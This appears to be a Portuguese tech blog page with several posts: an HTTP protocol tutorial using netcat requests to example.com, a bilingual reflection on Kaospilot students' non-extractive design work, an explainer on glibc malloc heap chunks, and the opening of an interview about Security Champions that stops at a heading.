    Uma sessão HTTP é uma sequência de transmissões no formato: requisição-resposta. O cliente -- não necessariamente um navegador -- inicia uma requisição estabelecendo uma conexão TCP, normalmente na porta 80 do servidor; ou uma conexão TLS sobre TCP, normalmente na porta 443 do servidor. Em seguida, envia a mensagem de requisição ao servidor.
    O servidor, esperando a conexão, aguarda a mensagem de requisição do cliente. Ao recebê-la, processa-a e responde ao cliente enviando um código de estado seguido de sua resposta. A reposta do servidor pode conter o documento requerido, um erro ou outras informações.
    Como discutido na seção anterior, conexões podem ser reusadas para o envio de múltiplas requisições.
    Independentemente o reuso de conexões, o protocolo HTTP é um protocolo "stateless", isto é, informações de estado não são mantidas pelo receptor -- neste caso, o servidor -- entre requisições. Cada requisição pode ser entendida isoladamente.
    Para implementar manutenção de estado da sessão, é necessário utilizar-se extensões ao HTTP. Por exemplo, aplicações podem utilizar Cookies, parâmetros na URL ou parâmetros escondidos em formulários HTML.
    Mensagem HTTP
    As mensagens do protocolo HTTP são compostas por:
    Uma linha inicial, cujo formato varia entre requisição e resposta; Possivelmente uma sequência de cabeçalhos; Uma linha vazia; Possivelmente um corpo da mensagem. As linhas são separadas pelos caracteres "<CR><LF>": os caracteres "carriage return" e "line feed" da tabela ASCII, representados pelos valores 0x0D e 0x0A em hexadecimal ou os caracteres "\r\n" na notação de strings de C.
    Por exemplo, na mensagem:
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* Temos a linha inicial "GET / HTTP/1.1" os cabeçalhos "Host: www.example.com", "User-Agent: curl/7.64.1" e "Accept: */*", a linha vazia, e nenhum corpo. Já na mensagem:
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> Temos a linha inicial "HTTP/1.1 301 Moved Permanently", os cabeçalhos "Server: nginx/1.14.2", "Content-Type: text/html", "Content-Length: 185", "Connection: keep-alive" e "Location: https://www.example.com/", a linha vazia, e o corpo "<html>...</html>".
    Cabeçalhos
    Os cabeçalhos são formados por pares chave-valor da forma:
    Uma chave case-insensitive, isto é, ignorando maíusculas e minúsculas; Um caractere ":" possivelmente seguido de espaços em branco; Um valor; Possivelmente espaços em branco. Cada cabeçalho é separado do próximo por uma quebra de linha contendo "<CR><LF>".
    Observe que nem a chave nem o valor do cabeçalho podem conter os caracteres "<CR><LF>", caso contrário um novo cabeçalho é iniciado. Caso o tipo de dado a ser a ser transmitido no cabeçalho possa conter quebras de linha, é necessário codificá-lo com uma codificação que não produza "<CR><LF>". Uma codificação comumente utilizada para isso é a codificação por cento, também chamada de codificação URL.
    Corpo da mensagem
    O corpo da mensagem é um campo opcional. Apenas alguns tipos de requisições e alguns tipos respostas permitem ou necessitam de um corpo de mensagem.
    A presença de um corpo de mensagem é sinalizado pelos cabeçalhos "Content-Length" ou "Transfer-Encoding". O primeiro é usado para sinalizar o número de bytes que compõem o corpo da mensagem, o segundo é usado quando se deseja transmitir um corpo de forma seccionada ("chunked") ou comprimida, por exemplo. Apenas um dentre "Content-Length" e "Transfer-Encoding" devem ser usados em uma mesma mensagem.
    Requisição
    As requisições HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    O método, ou verbo, que representa o comando a ser executado; O recurso alvo da requisição; A versão do protocolo: por exemplo, "HTTP/1.1". Além disso, em toda requisição, é necessário informar o cabeçalho "Host". Seu valor deve conter o nome de domínio do website ou servidor a ser acessado. O nome de domínio utilizado nesse cabeçalho deve resolver para um enderço IP do servidor.
    Usando novamente o exemplo da seção anterior,
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* A linha inicial dessa requisição contém o método "GET", o recurso "/" e a versão do protocolo "HTTP/1.1".
    Métodos
    Os métodos, ou verbos, do protocolo HTTP definem a operação que se deseja realizar com o recurso especificado.
    O RFC 7231 define os métodos:
    GET: Requer uma representação do recurso especificado. No caso mais simples, apenas uma representação existe e ela é retornada. Múltiplas representações podem existir e serem negociadas através de cabeçalhos `Accept`, por exemplo; HEAD: O mesmo que GET, mas sem que o servidor inclua o corpo da respota; POST: Requer que o servidor processe o corpo da mensagem de requisição de acordo com as regras aplicáveis ao recurso especificado; PUT: Requer que o servidor troque todas as representações atuais do recurso especificado, pelo conteúdo do corpo da mensagem de requisição; DELETE: Requer que o servidor apague todas as representações atuais do recurso especificado; CONNECT: Requer o estabelecimento de um túnel para o servidor identificado pelo recurso especificado. Seu uso é esperado apenas para controlar proxies HTTP. OPTIONS: Requer informações sobre as opções de comunicação disponíveis para o recurso especificado. Em particular, o servidor responde com os métodos permitidos para aquele recurso. Caso suportado, pode também ser usado para obter informações sobre o próprio servidor ao se especificar o recurso "*"; TRACE: Requer que o servidor repita a mensagem recebida de volta para o cliente, para que o cliente possa investigar modificações na mensagem causadas por intermediários. Um outro método comumente aceito por servidores é definido no RFC 5789:
    PATCH: Requer que o servidor altere todas as representações do recurso especificado de acordo com as modificações descritas no corpo da mensagem de requisição. O RFC 7231 define também o conceito de Métodos Seguros ("safe"): aqueles cuja semântica é essencialmente de somente leitura e, portanto, não devem causar nenhuma mudança significativa no servidor ou no recurso. Esse é o caso de "GET", "HEAD", "OPTIONS" e "TRACE". Essa definição é importante porque guia o comportamento esperado de clientes como navegadores, caches e robôs que varrem a web. Apesar disso, nada impede que aplicações incluam comportamentos perigosos, que não sejam apenas leitura ou que causem efeitos colaterais enquanto processam métodos seguros.
    Um outro conceito definido pelo RFC 7231 é o de Métodos Idempotentes: aquele cujo efeito de aplicá-los multiplas vezes é o mesmo que o de aplicá-los apenas uma vez. Esse é o caso dos métodos "PUT", "DELETE" e de todos os métodos seguros. A importância desta definição é que clientes podem reenviar essas requisições -- por exemplo, caso algo dê errado com a conexão -- sabendo que o efeito do reenvio vai ser o mesmo que caso o primeiro envio tenha sido bem sucedido. Assim como em relação aos métodos seguros, nada impede que aplicações incluam efeitos não idempotentes no processamento de métodos idempotentes.
    A lista completa de métodos padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Method Registry.
    Resposta
    As respostas HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    A versão do protocolo ("HTTP/1.1", por exemplo); O código de estado, sinalizando se a requisição foi bem sucedida ou não; Uma mensagem de estado, contendo uma curta descrição do código de estado. Usando novamente o exemplo da seção anterior,
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> A linha inicial dessa resposta contém a versão do protocolo "HTTP/1.1", o código de estado "301" e a mensagem de estado "Moved Permanently". Essa mensagem também possui um documento HTML como corpo, que pode ser exibido ao usuário.
    Devido ao seu conteúdo, a linha inicial da resposta HTTP é também chamada de linha de estado.
    O cliente processa a resposta HTTP primariamente baseado em seu código de estado e depois baseado nos seus cabeçalhos. A mensagem de estado serve apenas de caráter informativo.
    Códigos de estado
    Códigos de estado são inteiros de três digitos que sinalizam o resultado do processamento da mensagem de requisição. Eles são organizados em classes baseadas em seu primeiro dígito:
    1xx (Informativo): A requisição foi recebida, continuando a processá-la; 2xx (Bem sucedido): A requisição foi recebida, entendida e aceita; 3xx (Redirecionamento): Mais ações do cliente são necessárias para completar a requisição; 4xx (Erro do cliente): A requisição possui erros de sintaxe ou não pode ser atendida; 5xx (Erro do servidor): O servidor não conseguiu atender uma requisição aparentemente válida; A lista de códigos de estado é extensível. Clientes não precisam conhecer todos os códigos de estado, porém devem poder reconhecê-los por sua classe baseado em seu primeiro dígito.
    A lista completa de códigos de estado padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Status Code Registry.
    Exemplo
    Para exemplificar o que vimos até agora, podemos experimentar o protocol manualmente usando o comando "netcat" (também representado pelo comando "nc") ou pelo "telnet".
    Para isso, primeiro executamos "nc www.example.com 80" para nos conectarmos à porta "80" do servidor em "www.example.com".
    $ nc www.example.com 80 Agora escrevemos nossa mensagem de requisição: um método "HEAD" para o recurso "/":
    HEAD / HTTP/1.1 Host: www.example.com Note que é necessário enviar uma linha em branco, marcando o final dos cabeçalhos e, no caso do método "HEAD", também o final da requisição.
    O servidor então nos responde com a mensagem de resposta:
    HTTP/1.1 200 OK Content-Encoding: gzip Accept-Ranges: bytes Age: 327597 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Fri, 14 May 2021 11:50:22 GMT Etag: "3147526947+ident" Expires: Fri, 21 May 2021 11:50:22 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D2A) X-Cache: HIT Content-Length: 648 Podemos reusar a mesma conexão para enviar a próxima mensagem de requisição. Desta vez tentaremos um "POST" para o recurso "/", porém mal-formado, faltando o corpo da mensagem:
    POST / HTTP/1.1 Host: www.example.com O servidor então nos responde com o erro:
    HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Note que, como é de se esperar, visto que enviamos uma requisição mal-formada, o código de estado se refere a um erro da classe "4xx" (erro do cliente).
    Abaixo o que se espera da comunicação completa:
    $ nc www.example.com 80 HEAD / HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Accept-Ranges: bytes Age: 552546 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Mon, 17 May 2021 02:19:31 GMT Etag: "3147526947" Expires: Mon, 24 May 2021 02:19:31 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D13) X-Cache: HIT Content-Length: 1256 POST / HTTP/1.1 Host: www.example.com HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Caso queira experimentar outros métodos, abaixo seguem alguns exemplos de mensagens de requisição para enviar.
    GET / HTTP/1.1 Host: www.example.com  
    OPTIONS / HTTP/1.1 Host: www.example.com Caso queira testar com outros servidores, altere tanto o endereço ao qual se conecta no "netcat" ou "telnet", como o valor do cabeçalho "Host" para o servidor ao qual está se conectando.
    Referências
    https://en.wikipedia.org/wiki/Hypertext https://pt.wikipedia.org/wiki/Hipertexto https://en.wikipedia.org/wiki/HTTP_pipelining https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview https://developer.mozilla.org/en-US/docs/Web/HTTP https://en.wikipedia.org/wiki/HTTPS https://en.wikipedia.org/wiki/Stateless_protocol https://en.wikipedia.org/wiki/List_of_HTTP_header_fields https://en.wikipedia.org/wiki/HTTP_message_body

    Joana Mao
    Um grupo de seis kaospilots (alunos da Kaospilot, uma escola dinamarquesa de empreendedorismo e impacto social) colaborou nos últimos meses com uma rede social descentralizada, para reescrever um novo protocolo que atende e beneficia as necessidades de comunidades nativas na Nova Zelândia e na Índia. O objetivo principal era desenhar um processo de design não extrativista. Onde as necessidades das comunidades pudessem ser identificadas e ao mesmo tempo que suas identidades culturais fossem preservadas.
    A team of six kaospilots (students from Kaospilot, a danish school of entrepreneurship and social impact) have collaborated with a decentralized social network in recent months to rewrite  the network's protocol in order to serve and benefit the needs of native communities in New Zealand and India. The main goal was to design a non-extractive process by which the needs of the communities would be identified while preserving their cultural identities.
    Para discutir algumas das descobertas e desafios desse projeto sistêmico, os kaospilots conversaram com Antonio Marcos Alberti, PhD em Eletrônica e Telecomunicações, criador da NovaGenesis e pioneiro no design da Internet do Futuro. O diálogo foi assistido por uma audiência ao vivo no dia 11 de maio e posteriormente publicado na rede brasileira RenaSCIdade. 
    To discuss some of the findings and challenges of this systemic project the kaospilots sat down in dialogue with Antonio Marcos Alberti, PhD in Electronics and Telecommunications, the creator of NovaGenesis and a pioneer in Future Internet. The dialogue was viewed by a live audience on may 11th and was later published at the brazilian network RenaSCIdade.  
    Este artigo é uma pós-vida reflexiva deste diálogo e é co-escrito entre o grupo de alunos e o professor Alberti. Aqui, faremos uma reflexão sobre os tópicos de criação de valor, testes de usuários não extrativistas e o futuro do design da Internet.
    Não será fornecido um resumo do diálogo e recomendamos que o leitor veja o diálogo na íntegra através do vídeo:
    This article is a reflective afterlife of the dialogue that took place and it is co-written between the kaospilot team and professor Alberti. We will reflect on the topics of Value creation, Non-extractive user testing and the future of internet design.
    A resume of the dialogue will not be given and we recommend that the reader view the dialogue in full through the video:
     
     
     
    É POSSÍVEL MEDIR A CRIAÇÃO DE VALOR SISTÊMICO? / IS MEASURING SYSTEMIC VALUE CREATION POSSIBLE?
    O primeiro tópico da conversa dizia respeito à criação e medição de valor em um trabalho sistêmico.
    Assim que se começa a trabalhar sistematicamente, surgem as perguntas: Como podemos medir se estamos avançando ou não? Como medir se o processo de cocriação está agregando valor ao trabalho? E a métrica da prosperidade?
    Analisar o efeito da cocriação na prosperidade de um sistema é difícil. A prosperidade em si é multidimensional e pode acontecer em termos de economia, economia de tempo, aprendizado, treinamento de liderança, troca de conhecimento, etc.
    The first topic held in conversation concerned the creation and measurement of value in systematic work.
    As soon as you start working systematically the questions arise: How can we measure whether we are advancing or not? How do you measure whether the co-creation process is adding value to the work? And the metric of prosperity, in fact? 
    Analyzing the effect of co-creation on prosperity of a system is difficult. Prosperity itself is multidimensional and can happen in terms of economics, time savings, learning, leadership training, knowledge exchange etc.

    Como um sistema é um corpo complexo formado por indivíduos e interações dinâmicas, ele não é previsível, linear ou estático. Portanto, ter qualquer previsão sobre como e quando medir o valor de um trabalho sistêmico é um processo complexo ou talvez até impossível. Só podemos saber os resultados exatos de um processo sistêmico depois que a dinâmica é colocada em prática. É como na natureza, só podemos calcular as probabilidades de que um experimento tenha um determinado resultado, mas só saberemos o resultado efetivamente após o cálculo (realizando as trocas e dinâmicas em grupo).
    As a system is a complex body made up of individuals and dynamic interactions, it is not predictable, linear and static. So, having any prediction on how and when to measure value is a complex process or maybe even impossible. We may only be able to know the exact outcomes of a systematic process after the dynamics are put into effect. It is like in nature, we can only calculate probabilities that an experiment will have a certain result, but we will only know the result effectively after computing (performing the exchanges and dynamics in a group).
    À medida que o projeto desdobrava seus efeitos, os kaospilots receberam feedback de stakeholders com as quais trabalharam, como: "O método que vocês definiram para trabalhar nesse processo de mudança de forma mais embasada no diálogo, abriu a minha mente sobre como eu devo abordar o nosso trabalho no futuro ”. - líder da comunidade
    As the project unfolded its effects the kaospilots received feedback from parts of the stakeholders they had worked with stating the following: “The method you have framed for working with the change process in a more dialogue based way has given me food for thought on how I should approach our future work”. - community leader
    Este feedback mostra que o valor surgirá organicamente. É importante romper com os modelos lineares para sermos liderados por processos de cocriação. A geração de valor surge como um comportamento social mais do que um resultado quantificável.
    As seen in this feedback the value will emerge organically. It is important to break free from linear models and be led by co-creation processes. The generation of value emerges as a social behavior more than a quantifiable result.
     
    EXISTE TESTE DO USUÁRIO NÃO EXTRATIVISTA? / DOES NON-EXTRACTIVE USER TESTING EXIST?

    Ao discutir o potencial dos testes de usuários não extrativistas, descobrimos que o termo parece ser novo no campo, já que o Prof. Alberti confirmou que foi a primeira vez que ouviu falar dele.
    Upon discussing the potential of non-extractive user testing we found that the term seems to be new in the field as Prof. Alberti confirmed it was his first time hearing of it. 
    O grupo da Kaospilot tem tido dificuldades com o termo e sua definição e, embora o objetivo do termo seja redefinir como a indústria de tecnologia inclui as perspectivas de seus usuários em seu design, a conotação das palavras pode não ser adequada. Uma pergunta que surge disso é: tentando não ser extrativista em relação aos usuários, o termo “teste do usuário” serve ao propósito ou precisamos renomear o processo de incluir as perspectivas do usuário? Alguém poderia argumentar que o teste do usuário tem uma conotação sedimentada para a extração em sua história. Uma reformulação poderia ser: "Capacitação  de inclusão de usuários”?
    Uma vez que o termo e o propósito por trás dele podem ainda estar em um estágio pioneiro, parece que temos a possibilidade de moldar sua denominação e a sua prática.
    The kaospilot team have been juggling with the term and its definition for weeks and though the purpose of the term is to redefine how the tech industry includes the perspectives of its users in it’s design the connotation of the words might not be fitting. One question arising from that is: If one attempts to be non-extractive towards one's users will “user testing” then serve the purpose or do we need to rename the process of including user perspectives? One could argue that user testing has a sedimented connotation to extraction in its history. Could a rephrasing be: “Capacity building user inclusion”?  
    Since the term and the purpose behind it may yet be at a pioneering stage it seems that we might have the possibility to shape it’s phrasing and practice.
     
    O FUTURO DO DESIGN DA INTERNET SERÁ FEITO POR HUMANOS?/ IS THE FUTURE OF INTERNET DESIGN MADE BY HUMANS?
    “Prepare-se para a cocriação híbrida entre máquinas e pessoas. Ela precisará ser multidisciplinar. Será difícil ter programadores capazes de implementar protocolos, compreender as leis sistêmicas, empatia, comunicação não violenta e preservação de culturas. ” - Antonio Alberti
    “Get ready for hybrid co-creation with machines and people. It needs to be multidisciplinary. It will be difficult to have programmers that are capable of implementing protocols, understanding the systemic laws, empathy, non-violent communication and preservation of cultures.” - Antonio Alberti 
    Aproveitar os avanços tecnológicos exponenciais para co-criar novos modelos e tecnologias baseadas em valores humanos se faz necessário. Só assim poderemos transformar realidades de forma ética, respeitosa, inclusiva, não extrativista e preservando a diversidade. O desenho de alternativas à Internet passa por esse caminho de cuidado, inclusão e equilíbrio emocional, aliado ao aprimoramento técnico.
    Taking advantage of exponential technological advances to co-create new models and technologies based on human values is a must. Only in this way can we transform realities in an ethical, respectful, inclusive, non-extractive way, preserving diversity.  The design of alternatives to the Internet goes through this path of care, inclusion and emotional balance, coupled with technical improvements.
    Temos que aceitar que estamos observando uma mudança dramática no jogo - uma ruptura em termos do papel futuro dos aspectos humanos na criação de valor. Conforme a tecnologia evolui para uma inteligência mais complexa, os humanos precisam trabalhar junto com a tecnologia para ensinar a inteligência a respeitar a cultura e fornecer bons exemplos para o futuro do design da Internet.
    We have to accept that we are observing a dramatic change of the game – a disruption in terms of the future role of the human aspects in value creation. As technology evolves towards more complex intelligence; humans need to work together with technology to teach the intelligence to be respectful of culture and provide good examples for the future of Internet design.

     
    Sobre os co-autores/ About the co-authors
    Kaospilot - Cohort 4: A Kaospilot é uma escola de liderança criativa e empreendedorismo com significado. Durante o programa de formação, um semestre é dedicado a um projeto de Liderança Sistêmica (SLA) para praticar o pensamento sistêmico em projetos reais. O SLA Cohort 4 é um grupo de kaospilots formado por Joana Mao,  Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis e Anders Jahn. Juntos eles mergulharam no mundo do design da internet do futuro colaborando com uma rede social descentralizada com o desafio de reescrever um novo protocolo com respeito `as necessidades em estruturas de comunicação de comunidades.
    Kaospilot - Cohort 4: Kaospilot is a school of creative leadership and meaningful entrepreneurship in Denmark. During its education program, a full semester is dedicated to a Systemic Leadership Assignment (SLA) to practice systemic thinking in real world projects. The SLA Cohort 4 was a team of kaospilots formed by Joana Mao, Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis and Anders Jahn. Together they dove into the world of future internet design collaborating with a decentralized social network with the challenge of rewriting a new protocol to respect the cultural needs of communities in communication structures.
    Antonio Marcos Alberti é engenheiro, professor, coordenador do Information and Communications Technologies (ICT) Laboratory do Inatel e programador C/C++. É doutor em Eletrônica e Telecomunicações pela Unicamp e pós-doutor pelo Electronics and Telecommunications Research Institute (ETRI) da Coréia do Sul. Autor de mais de 100 artigos científicos. Já ministrou mais de 60 palestras sobre tecnologia e suas disrupções, incluindo HackTown, Futurecom, Exponential Conference, Campus Party, TEDxInatel, Pint of Science, Ciência no Boteco, etc. Colunista do Olhar Digital, EngenhariaÉ e Futurecom Digital. Pai da arquitetura NovaGenesis. Contribuiu para documento de requisitos para Internet do Futuro na Coréia do Sul e nas discussões iniciais do Plano Nacional de M2M/IoT. Criador do movimento de empreendedorismo social em rede chamado Renascidade e autor da parte técnica do projeto de Integração de Soluções IoT para Cidades Inteligentes financiado pelo BNDES.  Hacker de tendências, pioneiro da Internet do futuro e consultor.
    Antonio Marcos Alberti is an engineer, professor, head of the Information and Communications Technologies (ICT) Laboratory at Instituto Nacional de Telecomunicações (INATEL), Brazil, and a C/C ++ programmer. He holds a PhD in Electronics and Telecommunications from Unicamp, Brazil, and a post-doctoral degree from Electronics and Telecommunications Research Institute (ETRI), Korea. He is the author of more than 100 scientific articles. He has lectured more than 60 talks about technology and its disruptions, including talks at HackTown, Futurecom, Campus Party, TEDxInatel, Pint of Science, Science in Boteco, etc. He is columnist of Olhar Digital, EngenhariaÉ and Futurecom. Chief architect of NovaGenesis future Internet project (since 2008). Creator of the social network entrepreneurship movement called Renascidade. He has contributed for Future Internet in South Korea and in the initial discussions of the Brazilian National M2M/IoT Plan. Trend hacker, Future Internet pioneer and consultant.
     
     

    Felipe.Silva
    A heap é uma estrutura especial de memória usada pelo processo. O que tem de especial nela é o fato de seu tamanho ser variável, já que sua memória pode ser alocada ou desalocada dinamicamente pelo processo. Isso pode ser feito usando syscalls do sistema operacional e o mesmo é responsável por alocar mais páginas de memória para a seção caso seja necessário.
    No Linux o segmento de dados pode ser aumentado ou diminuído usando a syscall brk, e é esse espaço de memória que os programas normalmente usam para a heap. Em C nós normalmente não usamos a heap diretamente e, ao invés disso, usamos a função malloc() e semelhantes para lidar com a alocação dinâmica de memória. O que alguns não sabem é que na verdade chamadas para a função malloc() ou free() não necessariamente irão resultar na alocação ou desalocação de memória para o processo. Isso se dá porque é a libc quem de fato gerencia a heap e nós não estamos diretamente solicitando ou liberando memória para o sistema operacional.
    *libc é a biblioteca padrão da linguagem C que contém funções essenciais para tarefas básicas como: Manipulação de strings e arquivos, entrada e saída de dados, funções básicas de matemática etc.
    A função malloc(), de acordo com a implementação da glibc, usa o segmento de dados, o dividindo em uma ou mais regiões de memória que eles chamam de “arenas”. A arena principal corresponde à heap original do processo, porém outras arenas também podem ser alocadas para o processo. Inicialmente cada thread criada no processo tem uma arena individual até atingir um certo limite pré-definido de arenas que podem ser alocadas no processo. Atingindo esse limite, as threads posteriores passam a compartilhar a mesma arena. Em cada arena de memória existem divisões da memória que são chamadas de maneira homônima de heap, e são nessas heaps que a função malloc() de fato aloca memória para o usuário da libc.
    Cada bloco de memória que malloc() aloca na heap é chamado de chunk, e cada chunk contém metadados usados pelo sistema interno de malloc para organizar a heap como uma lista duplamente encadeada. Para fins de ilustração, abaixo está a estrutura de um chunk, usada na glibc:
    struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; INTERNAL_SIZE_T mchunk_size; struct malloc_chunk* fd; struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; O valor mchunk_prev_size seria o tamanho do chunk anterior e mchunk_size o tamanho do chunk atual. Os ponteiros *fd e *bk são usados somente quando o chunk está livre, e seriam ponteiros usados para a lista circular duplamente encadeada de chunks que apontam para o chunk posterior e anterior, respectivamente. No entanto, essa estrutura não representa muito claramente como o chunk é de fato usado pelo sistema de malloc, na figura abaixo isso é ilustrado com mais precisão.

    O ponteiro que malloc() retorna não aponta para o início do chunk mas sim para o início do espaço de memória que pode ser usado pelo usuário. O tamanho do espaço de memória de um chunk é alinhado pelo tamanho de um double word na arquitetura. Caso malloc() seja chamado passando um tamanho desalinhado como argumento, um espaço extra é alocado para manter o alinhamento. Por exemplo, se o alinhamento está sendo feito para 8 bytes e malloc é chamada com 9 como argumento, malloc irá te devolver um chunk com 16 bytes de espaço de memória usável. Além do alinhamento no tamanho do chunk, também existe um alinhamento no endereço de memória retornado por malloc() que é sempre alinhado para o tamanho de uma word. Isso é feito porque em algumas arquiteturas esse alinhamento de memória é necessário para se evitar uma exceção. Em outras arquiteturas (x86, por exemplo) o alinhamento melhora a performance do processador no acesso à memória.
    Como existe esse alinhamento no tamanho de um chunk isso garante que os três bits menos significativos de mchunk_size não sejam necessários para definir o tamanho do chunk. Se aproveitando disso, os três últimos bits são usados como flags para determinar alguns metadados usados pelo sistema de chunks.

    O bit M indica que o chunk não pertence a nenhuma arena e, ao invés disso, foi alocado dinamicamente em uma memória mapeada. Caso este bit esteja ligado, os outros dois são ignorados. No contexto de um chunk livre este bit está sempre desligado, tendo em vista que a lista encadeada de chunks livres somente se aplica a chunks que estão em alguma arena.
    Os chunks diretamente mapeados na memória (com bit M ligado) são criados para chunks muito grandes. Esses chunks quando liberados com a função free() são imediatamente liberados da memória. Por outro lado, usar free() em um chunk comum não necessariamente irá liberar memória para o sistema operacional. O que free() faz nesse caso é marcar o chunk como livre o adicionando de volta à lista de chunks livres. Assim como é indicado nesse trecho da glibc:
    /* Mark the chunk as belonging to the library again. */ (void)tag_region (chunk2mem (p), memsize (p)); Repare como o comentário descreve a ação como “marcar o chunk como pertencente à biblioteca novamente”, e é efetivamente isso que a função free() faz, não sendo necessariamente uma liberação de memória para o sistema operacional. Inclusive um recurso de otimização que a glibc usa é o que eles chamam de tcache (Thread Local Cache), que se trata de uma lista de chunks existente em cada thread individualmente. Quando você aloca um novo chunk na thread e posteriormente o libera, ele é adicionado ao tcache daquela thread e pode ser reutilizado em uma nova alocação posterior.
    Um adendo que a função free() pode efetivamente liberar memória para o sistema operacional se houver vários chunks livres no topo do segmento de dados (o que raramente acontece). Ela faz isso chamando a função interna systrim(), que por sua vez (no Linux) usa a syscall brk para diminuir novamente o segmento de dados.
    Um detalhe interessante que vale citar aqui é que na glibc (no Linux) existem as funções brk e sbrk que servem como wrappers para aumentar/diminuir o segmento de dados. O sistema de liberação de memória do systrim() espera que essas funções não sejam utilizadas diretamente para poder fazer a liberação de memória apropriadamente. Se você usá-las em seu código por algum motivo, irá “quebrar” o sistema de liberação de memória automático do free(), o fazendo não mais liberar memória quando é usado em chunks de arenas. Logo, não é recomendável que você use essas funções diretamente a menos que você esteja implementando seu próprio sistema de gerenciamento de memória dinâmica.
    O código abaixo é um experimento a fim de vermos na prática os metadados do chunk no Linux:
    // gcc test.c -o test #include <stdio.h> #include <stdlib.h> int main(void) { size_t *content = malloc(8); size_t chunk_size = content[-1] & ~0b111; size_t chunk_flags = content[-1] & 0b111; printf("size: %zu\nflags: %zu\n", chunk_size, chunk_flags); return 0; } No meu Linux é retornado 32 como tamanho do chunk e 1 como flag, indicando que somente o bit P está ligado. Sugiro ao leitor variar o tamanho passado para malloc a fim de comprovar que o alinhamento do tamanho do chunk de fato ocorre. Também sugiro passar um número grande para malloc() a fim de ver a partir de qual tamanho malloc() irá deixar de usar uma arena e irá alocar o chunk com mmap(). Caso isso ocorra o bit M será ligado e o número 2 (decimal) será indicado como flags.
    Nota: Esse código propositalmente não utiliza free() antes de finalizar o programa. É redundante e desnecessário usá-la quando o programa é finalizado, tendo em vista que todas as páginas de memória usadas pelo processo serão liberadas pelo sistema operacional.
    Referências
    https://man7.org/linux/man-pages/man2/brk.2.html https://sourceware.org/glibc/wiki/MallocInternals https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e2d7b1b58396906375ba0e953a20ac57f0904378;hb=refs/heads/master http://c-faq.com/malloc/freeb4exit.html

    Julliana Bauer
    A presença de Security Champions nas equipes de desenvolvimento pode trazer uma visão mais estruturada acerca da segurança de aplicações. Além disso, ele pode ser um grande influenciador da cultura de segurança dentro da empresa.
    Mas você sabe qual é o papel deste profissional?
    Conversamos com o Rodrigo Maués, Tech Lead na Conviso Application Security, para entender melhor quem é e qual o papel do Security Champion dentro de um time de segurança.

    O que é o Security Champion
    De acordo com Maués, dentro de empresas que produzem softwares, é comum existir um atrito ocasional entre duas áreas.
    Para a área de desenvolvimento, as equipes de segurança são pontos de gargalo dentro de um processo já bem pressionado e com prazos apertados. Do outro lado, temos as equipes de segurança que, por vezes, entram em conflito ao buscar introduzir mais segurança nos produtos entregues pelos desenvolvedores.
     “Este conflito nem sempre é facilmente solucionado, pois vai contra algo que, do ponto de vista comercial, é bem mais forte que a validação de um código: as demandas de um mercado cada vez mais inovador e ágil”, contextualiza o Tech Lead. 
    É aí que entra o papel do Security Champion. No mundo de Segurança de Aplicações, entendemos os  Security Champions como sendo os membros das equipes de desenvolvimento que receberam treinamento específico para atuar como ponto focal de segurança de aplicações dentro do time. 
    Quando um membro do time de desenvolvimento se torna um Security Champion, ele estabelece uma melhor comunicação com seus pares e muda a cultura do desenvolvimento de dentro para fora, já que acessa a mesma linguagem dos membros envolvidos na produção do software.
    “Desta forma, o time de Desenvolvimento consegue compreender muito melhor a informação passada, uma vez que recebe o conhecimento de um dos seus”, esclarece Maués. 
    Ou seja: o Security Champion trabalha como uma ponte entre as duas áreas, de forma conciliadora, para garantir que a cultura da segurança seja mantida sem desgastar as equipes.

    Quais as responsabilidades de um Security Champion?
